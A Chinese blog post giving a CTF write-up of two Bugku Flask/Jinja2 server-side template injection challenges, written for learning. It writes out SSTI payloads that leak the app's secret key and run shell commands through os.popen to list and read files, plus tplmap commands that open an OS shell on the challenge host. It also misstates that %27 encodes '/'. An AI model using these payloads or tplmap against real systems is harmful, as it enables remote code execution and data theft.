寒假不摆烂-Bugku 刷题记录 2022.1.18 第一天 Simple_SSTI_1 Simple_SSTI_2 手工+ tqlmap使用(模板注入神器)

本文章仅作记录用,写的不会很详细,但是如果大家哪里不会可以评论或者私信,互相交流再说一句,本人很菜,共同进步。

这里推荐2个较经典的模板注入例子,漏洞(有tplmap的下载教程)+一道经典的CTF题目

【WEB攻防】Flask(Jinja2) 服务端模板注入漏洞 原理+防御_AAAAAAAAAAAA66的博客-CSDN博客
i春秋 afr3 任意文件读取 SSTI flask模板注入 session伪造 详细题解_AAAAAAAAAAAA66的博客-CSDN博客
 

目录

1. Simple_SSTI_1

2.Simple_SSTI_2

脚本小子 tplmap一把梭

 总结


1. Simple_SSTI_1

题目明显的模板注入,模板注入之前做过一道,但还是没啥经验。。。

首页显示一句英文 意思是要传一个flag的参数 F12 查看源码 提示secret_key文件

看完大佬的write up发现直接输入 config.secret_key即可 (但这里需要大写)

这里估计是考对模板注入下各配置文件的熟悉

 

最终payload

?flag={{config_SECRET_KEY}}

得到flag

2.Simple_SSTI_2

进去发现还是得去传参,但是按F12没有任何提示,所以联想到命令执行,因为之前就做过类似的一道命令执行,xjb 执行个ls ,发现不行,报错了(还是对模板注入没有深入的认识),不头铁,看大佬的write up,发现命令执行调用的函数和我的有点不同(得学学了。。)

报错

 正确解法

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../%27).read()%20}}

命令执行ls %20是空格 %27是/ URL编码问题不多叙述了

 一个一个文件打开来找呗。。。(其实打开第一个app文件就找到了)

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27ls%20../app%27).read()%20}}

 打开app文件下的flag文件,最终得到flag

?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

脚本小子 tplmap一把梭

这个部分是我发布博客之后发的,因为整理我原来对模板注入的学习,想到能不能用模板注入工具来解决这种简单的题目,后面尝试一下发现是可以的,就给大家看看。

拿第二题为例子

python tplmap.py -u http://114.67.175.224:11793/?flag

没错 就是我做过的 python flask框架模板注入。

获取命令执行权限

python tplmap.py --os-shell -u http://114.67.175.224:11793/?flag

简单的linux 语句得到flag 

 总结

很简单的python flask 模板注入题目,但是考察的是对config文件的理解,但其实对于我自己来说,如果不看之前的write up 其实做不出来,需要对flask框架有着更深的认识,但这显然是我缺少的,以后得花时间多了解一下。


寒假不摆烂

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值